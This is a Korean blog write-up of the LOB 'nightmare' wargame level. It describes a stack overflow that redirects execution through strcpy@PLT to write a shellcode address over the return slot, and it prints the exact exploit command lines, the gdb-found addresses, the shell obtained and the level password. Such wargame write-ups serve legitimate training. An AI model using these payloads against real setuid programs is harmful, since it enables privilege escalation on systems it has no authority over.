문제 소스 코드.

RET 영역을 strcpy@PLT 로 변조해야 하는 문제다.

strcpy 함수가 종료되면 코드의 마지막 dangerous waterfall 부분에서 (2번째)RET 영역을 AAAA로 변조해버린다.


strcpy 함수를 통해서 AAAA로 덮어씌워진 RET 영역을 shellcode의 주소로 덮어씌워서 문제를 해결하자.


<strcpy address>



gdb를 통해 strcpy 함수의 주소가 0x08048410임을 확인했다.


<strcpy argument value>


strcpy 함수를 우리가 원하는대로 이용하려면, 두 개의 인자를 전달해야 한다.

첫째는 AAAA로 덮어진 RET 영역의 주소.

둘째는 shellcode의 주소가 씌어진 주소.


즉, 우리는 메모리 상에 shellcode와, 'shellcode의 주소'를 삽입해야한다.

이에 환경변수를 이용했다.



ssaemo 변수는 쉘코드의 주소

ssaemo2 변수는 nop+shellcode로 선언했다.


<payload 구성>


그리고 페이로드를 작성했다.

dummy + &strcpy@plt + ret(AAAA) + dst addr + src addr

dst addr은 ret 영역이 될 것이고

src addr은 ssaemo 변수에 쓴 shellcode의 주소가 될 것이다.(현재는 0xffffffff로 선언)


tmp 디렉토리로 바이너리 파일을 카피해와서 core dump를 통해 각각의 주소를 확인했다.

우리가 확인해야 할 주소는 총 3가지

ret의 주소, shellcode의 주소를 쓴 ssaemo의 주소, shellcode의 주소(ssaemo 변수에 쓸)



x/8x $esp를 통해 ret 영역을 확인했다(0xbfffd360)

바로 다음에 각각 CCCC, DDDD로 덮어씌운 dst addr, src addr도 확인된다.


x/1000s 0xbffff800의 명령어로 메모리에서 환경변수를 찾아볼 수 있었다.

ssaemo 변수의 주소는 변수명을 제외 0xbffffc83

ssaemo2 변수의 주소는 nop 중의 아무 곳이나 상관 없으므로 0xbffffa58로 선택했다.


먼저, ssaemo 변수의 값을 shellcode의 주소 0xbffffa58로 재선언 해줘야 한다.

그리고 페이로드를 수정하여 exploit 시도!



[succubus@localhost dirnightmare]$ export ssaemo=`python -c 'print "\x58\xfa\xff\xbf"'`

[succubus@localhost dirnightmare]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x60\xd3\xff\xbf"+"\x83\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`Կ¿ 

bash$


쉘을 따내는 데 성공했으므로, 심볼릭 링크로 원본 파일에 exploit을 시도하자!


<exploit>



[succubus@localhost dirnightmare]$ ln -sf ~/nightmare nightmare 

[succubus@localhost dirnightmare]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x60\xd3\xff\xbf"+"\x83\xfc\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB`Կ¿ 

bash$ id

uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus)

bash$ my-pass

euid = 518

beg for me

bash$


nightmare의 패스워드는 beg for me


피드백/질문 대 환영!


written by ssaemo

'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB nightmare -> xavius  (2) 2015.11.19
LOB zombie_assassin -> succubus  (0) 2015.11.18
LOB assassin -> zombie_assassin  (0) 2015.11.18
LOB giant -> assassin  (0) 2015.11.18
LOB bugbear -> giant  (0) 2015.11.18

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/